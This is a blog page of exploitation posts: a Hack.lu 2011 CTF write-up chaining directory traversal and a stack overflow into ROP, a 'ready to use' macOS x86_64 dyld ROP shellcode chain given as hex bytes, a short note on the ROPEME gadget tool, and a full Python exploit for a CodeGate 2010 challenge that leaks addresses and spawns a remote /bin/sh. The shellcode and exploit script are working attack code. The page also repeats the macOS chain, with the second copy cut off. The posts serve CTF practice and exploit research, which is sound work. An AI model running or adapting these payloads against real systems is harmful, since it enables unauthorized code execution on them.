Hack.lu CTF 2011: Nebula Death Stick Services writeup

October 3, 2011 by longld · 1 Comment 

Challenge Information

Death Sticks are a totally illegal drug in the universe.
However, somehow a company called Death Stick Services has managed to get a huge trade volume by selling Death Sticks directly and anonymously to their costumers.
Seems like nobody has the power to stop them, so the Galactic’s Secret Service ordered YOU and your Special Forces team to get a Shell on Death Stick Service’s server and search for any evidence on how to take them down!
May the force be with you.

http://ctf.hack.lu:2010/

Analysis

Thanks rd for helping Analysis part.

Checking around http://ctf.hack.lu:2010/ page, I found that there is a directory traversal vulnerability (http://ctf.hack.lu:2010/?page=../../../../etc/resolv.conf). Together with “./a.out“ from HTTP response header, I managed to download the binary via this request http://ctf.hack.lu:2010/?page=../a.out.

a.out” binary is a 32 bit x86 Linux binary, running on Ubuntu 10.10 server. There is a vulnerability in query parsing function parse_params as below.

parse_params

parse_params() function basically looks ‘?‘ and ‘=‘ in order to parse the input query such as /?page=blah, and then uses the different in length (len) to store parameter name and its value to the buffer on the stack of the caller function (handle_connection()). From above code, you can see that if we input in reverse order of ‘?‘ and ‘=‘ such as /=blah?, len value will be negative but it still pass the the condition check because of signed comparison. This leads into a traditional stack buffer overflow.

$ python2 -c ‘print “GET /=” + “A”*60 + “? HTTP/”‘|nc -v localhost 2010
..
(gdb) run
Starting program: /home/jail/ctf/hack.lu/o500/a.out
Notice: Nebulaserv – A Webserver for Nebulacorp

Notice: Starting up!

- Accepting requests on port 2010
[New process 4626]
- Got request with length 0: 127.0.0.1:35695 – GET /=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA? HTTP/

- Got param: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA< with value
- Opening ./nebula/index – 404 Not Found

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 4626]
0×41414141 in ?? ()

Exploit

The binary has NX and ASLR enabled so we have to leak libc info from server for ROP/ret2libc exploit. During the game, to save time we utilized shell on the same server from Nebula DB challenge to retrieved libc, then constructed a ROP payload to call a custom shell script as system(”/tmp/sh”). After the game, we investigate more to see if we can exploit without any knowledge of server. And here is the way we do:

Retrieve libc

In handle_connection() function socket fd is increased for every new connection. Though we can find this value on stack, it is still difficult to find code chunks to write back something valuable to our socket. Instead, we can utilize the directory traversal bug above to retrieve libc via this request: http://ctf.hack.lu:2010/?page=../../../../lib/libc.so.6

Construct ROP payload

With libc in hand, we know exact offset to any libc function and ROP payload can be constructed using “data re-use way” via sprintf() – which can perform byte-per-byte transfer the same as strcpy() – or “ROP with common functions in Ubuntu/Debian x86.

The flag

The flag was put in a file with strange name so you cannot guess and get it via directory traversal bug.


$ ls -l /home/nebulaserver

total 24

-r-xr-x--- 1 root nebulaserver 11195 2011-09-11 20:50 a.out

-r--r----- 1 root nebulaserver    27 2011-09-20 13:19 IguessTHISisTHEflagDOOD

drwxr-xr-x 3 root nebulaserver  4096 2011-09-11 20:22 nebula

-r-xr-x--- 1 root nebulaserver    82 2011-09-20 17:00 restart.sh

$ cat /home/nebulaserver/IguessTHISisTHEflagDOOD

Flag: R0PPINGy0urWAYinDUDE
$ ls -l /home/nebulaserver
total 24
-r-xr-x— 1 root nebulaserver 11195 2011-09-11 20:50 a.out
-r–r—– 1 root nebulaserver    27 2011-09-20 13:19 IguessTHISisTHEflagDOOD
drwxr-xr-x 3 root nebulaserver  4096 2011-09-11 20:22 nebula
-r-xr-x— 1 root nebulaserver    82 2011-09-20 17:00 restart.sh
$ cat /home/nebulaserver/IguessTHISisTHEflagDOOD
Flag: R0PPINGy0urWAYinDUDE
$

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Yet another universal OSX x86_64 dyld ROP shellcode

July 30, 2011 by longld · Leave a Comment 

This technique was killed by OSX Lion 10.7 with full ASLR. @pa_kt has posted an Universal ROP shellcode for OS X x64 with detail steps and explanation. If you don’t have a chance to read above post, the basic ideas are:

  • Copy stubcode to a writable area (.data section)
  • Make that area RWX
  • Jump to RWX area and execute stubcode
  • Stubcode will transfer normal shellcode to RWX area and execute it
  • All the ROP gadgets are from dyld module which is not randomized

In this post, we shows another OSX x86_64 dyld ROP shellcode which is more simple. We employ the same ideas with some minor differences in implementation:

  • Instead of using long gadgets with “leave”, we use direct, short gadgets from unintended code
  • Calling mprotect() via syscall
  • Short stubcode (7 bytes) using memcpy() to transfer payload

Here is the ROP shellcode with explanation:


# store [target], stubcode

0x00007fff5fc0e7ee # pop rsi ; adc al 0x83

0xc353575e545a5b90 # => rsi = stubcode

0x00007fff5fc24cdc # pop rdi

0x00007fff5fc74f80 # => rdi

0x00007fff5fc24d26 # mov [rdi+0x80] rsi; stubcode => [target]

# load rdx, 0x7 (prot RWX)

0x00007fff5fc24cdc # pop rdi

0x00007fff5fc75001 # => rdi

0x00007fff5fc1ddc0 # lea rax, [rdi-0x1]

0x00007fff5fc219c3 # pop rbp ; add [rax] al ; add cl cl

0x00007fff5fc75000 # => rbp

0x00007fff5fc0e7ee # pop rsi ; adc al 0x83

0x0000000000000007 # => rsi

0x00007fff5fc14149 # mov edx esi ; add [rax] al ; add [rbp+0x39] cl => rdx = 0x7

# load rsi, 4096 (size)

0x00007fff5fc0e7ee # pop rsi ; adc al 0x83

0x0000000000001000 # => rsi = 4096

# load rax, mprotect_syscall

0x00007fff5fc24cdc # pop rdi

0x000000000200004b # => rdi

0x00007fff5fc1ddc0 # lea rax, [rdi-0x1] => rax = 0x200004a (mprotect syscall)

# load rdi, target

0x00007fff5fc24cdc # pop rdi

0x00007fff5fc75000 # => rdi = target

# syscall

0x00007fff5fc1c76d # mov r10, rcx; syscall  => mprotect(target, 4096, 7)

0x00007fff5fc75000 # jump to target, execute stubcode

# stubcode

# 5B                pop rbx     # rbx -> memcpy()

# 5A                pop rdx     # rdx -> size

# 54                push rsp    # src -> &shellcode

# 5E                pop rsi     # src -> &shellcode

# 57                push rdi    # jump to target when return from memcpy()

# 53                push rbx    # memcpy()

# C3                ret         # execute memcpy(target, &shellcode, size)

0x00007fff5fc234f0 # &memcpy()

0x0000000000000200 # shellcode size = 512

<your shellcode here>

You can verify those gadgets and find more here: http://goo.gl/p35vY

Ready to use shellcode:


"\xee\xe7\xc0\x5f\xff\x7f\x00\x00\x90\x5b\x5a\x54\x5e\x57\x53\xc3"

"\xdc\x4c\xc2\x5f\xff\x7f\x00\x00\x80\x4f\xc7\x5f\xff\x7f\x00\x00"

"\x26\x4d\xc2\x5f\xff\x7f\x00\x00\xdc\x4c\xc2\x5f\xff\x7f\x00\x00"

"\x01\x50\xc7\x5f\xff\x7f\x00\x00\xc0\xdd\xc1\x5f\xff\x7f\x00\x00"

"\xc3\x19\xc2\x5f\xff\x7f\x00\x00\x00\x50\xc7\x5f\xff\x7f\x00\x00"

"\xee\xe7\xc0\x5f\xff\x7f\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00"

"\x49\x41\xc1\x5f\xff\x7f\x00\x00\xee\xe7\xc0\x5f\xff\x7f\x00\x00"

"\x00\x10\x00\x00\x00\x00\x00\x00\xdc\x4c\xc2\x5f\xff\x7f\x00\x00"

"\x4b\x00\x00\x02\x00\x00\x00\x00\xc0\xdd\xc1\x5f\xff\x7f\x00\x00"

"\xdc\x4c\xc2\x5f\xff\x7f\x00\x00\x00\x50\xc7\x5f\xff\x7f\x00\x00"

"\x6d\xc7\xc1\x5f\xff\x7f\x00\x00\x00\x50\xc7\x5f\xff\x7f\x00\x00"

"\xf0\x34\xc2\x5f\xff\x7f\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00"
# store [target], stubcode
0×00007fff5fc0e7ee # pop rsi ; adc al 0×83
0xc353575e545a5b90 # => rsi = stubcode: memcpy(target, shellcode, size)
0×00007fff5fc24cdc # pop rdi
0×00007fff5fc74f80 # => rdi
0×00007fff5fc24d26 # mov [rdi+0x80] rsi; stubcode => [target]
# load rdx, 0×7 (prot RWX)
0×00007fff5fc24cdc # pop rdi
0×00007fff5fc75001 # => rdi
0×00007fff5fc1ddc0 # lea rax, [rdi-0x1]
0×00007fff5fc219c3 # pop rbp ; add [rax] al ; add cl cl
0×00007fff5fc75000 # => rbp
0×00007fff5fc0e7ee # pop rsi ; adc al 0×83
0×0000000000000007 # => rsi
0×00007fff5fc14149 # mov edx esi ; add [rax] al ; add [rbp+0x39] cl => rdx = 0×7
# load rsi, 4096 (size)
0×00007fff5fc0e7ee # pop rsi ; adc al 0×83
0×0000000000001000 # => rsi = 4096
# load rax, mprotect_syscall
0×00007fff5fc24cdc # pop rdi
0×000000000200004b # => rdi
0×00007fff5fc1ddc0 # lea rax, [rdi-0x1] => rax = 0×200004a (mprotect syscall)
# load rdi, target
0×00007fff5fc24cdc # pop rdi
0×00007fff5fc75000 # => rdi = target
# syscall
0×00007fff5fc1c76d # mov r10, rcx; syscall  => mprotect(target, 4096, 7)
0×00007fff5fc75000 # jump to target, execute stubcode
# stubcode
# 5B                pop rbx     # rbx -> memcpy()
# 5A                pop rdx     # rdx -> size
# 54                push rsp    # src -> &shellcode
# 5E                pop rsi     # src -> &shellcode
# 57                push rdi    # jump to target when return from memcpy()
# 53                push rbx    # memcpy()
# C3                ret         # execute memcpy(target, &shellcode, size)
0×00007fff5fc234f0 # &memcpy()
0×0000000000000200 # shellcode size = 512
<your shellcode he
Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

ROPEME – ROP Exploit Made Easy

August 13, 2010 by longld · 1 Comment 

ROPEME – ROP Exploit Made Easy – is a PoC tool for ROP exploit automation on Linux x86. It contains a set of simple Python scripts to generate and search for ROP gadgets from binaries and libraries (e.g libc). A sample payload class is also included to help generate multistage ROP payload with the technique described in the Black Hat USA 2010 talk: “Payload already inside: data re-use for ROP exploits“.

Check the latest paper and slides and PoC code.

And take a look at the demo video below:

Enjoy ROPing!

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Return-oriented-programming practice: exploiting CodeGate 2010 Challenge 5

April 18, 2010 by longld · 4 Comments 

In my previous post about CodeGate 2010 Challenge 5 exploit, I mentioned the weakness of accessing server to get execl() address. In this post I will show how to blindly exploit the “harder” program without access to the remote server using return-oriented-programming technique.

ROP introduction

A worth to read post about ROP introduction can be found on Zynamics blog: http://blog.zynamics.com/2010/03/12/a-gentle-introduction-to-return-oriented-programming/

In summary: we will use return-into-instructions (called gadgets) to build and execute our payload when controlled EIP and ESP from vulnerable program.

ROP limitations (difficulties):

  • ASLR: the same as return-into-libc, it’s difficult to locate address of instructions in library (e.g libc)
  • ASCII-armor address: with ascii-armor remapping of libraries (e.g libc), addresses will contain NULL byte so chaining return-into-libc calls and ROP is impossible if there’s NULL filter in input

The “harder” case

Fortunately, we can blindly exploit the “harder” program using ROP because it provides some “advantages” in code:

  • getline(): can pass NULL byte to input
  • printf(): can leak runtime memory info (bypass ASLR)

Finding ROP gadgets

Our target is to invoke execve(”/bin/sh”, 0, 0) syscall, which is equivalent to prepare registers’ value then trigger kernel syscall:

eax = 0xb // execve
ebx = address of “/bin/sh”
ecx = 0 // argv
edx = 0 // env

Searching in harder binary, we found below gadgets:

  • eax:
    80483a4:    58                       pop    %eax
    80483a5:    5b                       pop    %ebx
    80483a6:    c9                       leave
    80483a7:    c3                       ret
  • ebx & ecx:
    8048634:    59                       pop    %ecx
    8048635:    5b                       pop    %ebx
    8048636:    c9                       leave
    8048637:    c3                       ret

    “/bin/sh” is placed on target buffer, its address is available by leaking via printf()

  • edx:
    There’s no edx related gadget but observing that when returned from memcpy() edx’s value is set to esi so we can assign esi to 0×0 first then return again to main to nullify edx.

    0x001ba506 :    mov    edx,esi
    80485e6:    5e                       pop    %esi
    80485e7:    5f                       pop    %edi
    80485e8:    5d                       pop    %ebp
    80485e9:    c3                       ret
  • syscall:
    In recent Linux kernel, syscall is usually performed via linux gate: call gs:[0x10]. By return to back to printf() in harder program many times, we can find the offset from getline() to first syscall is 319 bytes.
  • moving stack:
    After “leave; ret” our stack will be moved to new location pointing by ebp. We can control this by set ebp back to somewhere in the middle of target buffer.

Exploit code


#!/usr/bin/env python

import socket
import sys
import struct
import telnetlib

#host = 'ctf4.codegate.org'
host = '127.0.0.1'
port = 9005

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect((host, port))

buf=""
# bypass first read
buf = c.recv(1024)

# getline() address
buf = "A"*268 + struct.pack('i', 0x08048524) + struct.pack('i', 0x0804a008) + "\n"
c.send(buf)
buf = c.recv(1024)
addr = ""
getline_addr = int(buf[:4][::-1].encode('hex'), 16)
print "getline() is at:", hex(getline_addr)

# call gs:[0x10] address
offset = 319 # first offset is 319 bytes from getline()
syscall_addr = getline_addr + offset

# buffer address
buf = "%7$x" + "\x00"*260 + struct.pack('i', 0x08048521)*2 + "\n"
c.send(buf)
buf = c.recv(1024)
input_addr = int(buf[:8], 16)
print "Buffer address is at: ", hex(input_addr)

# gadgets address
pop_eax = 0x080483a4
pop_ecx_ebx = 0x08048634
pop_esi = 0x080485e6

# pop esi
buf = "A"*268 + struct.pack('i', pop_esi) + "\x00" * 12 + struct.pack('i', 0x08048524)*2  + "\n"
c.send(buf)
c.recv(1024)

# pop eax then move stack to new address
input_addr += 560 # lifting after 2 getline() calls
new_stack = input_addr+8
buf = "/bin/sh\x00" # /bin/sh
buf += struct.pack('i', new_stack+16) # next ebp after leave from pop_eax
buf += struct.pack('i', pop_ecx_ebx) # next is pop_ecx_ebx
buf += "\x00"*4 # ecx
buf += struct.pack('i', input_addr) # ebx -> /bin/sh
buf += "A"*4 # un-used ebp after leave from pop_ecx_ebx
buf += struct.pack('i', syscall_addr)
buf = buf.ljust(264, "A") # padding
buf += struct.pack('i', new_stack) # new ebp
buf += struct.pack('i', pop_eax)
buf += "\x0b\x00\x00\x00" # execve syscal
buf += "A"*4 # un-used ebx
buf += "\n"

print "Sending final payload ..."
c.send(buf)
c.send("id 2>&1" + "\n"*5)

t = telnetlib.Telnet()
t.sock = c
t.interact()
c.close()
Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca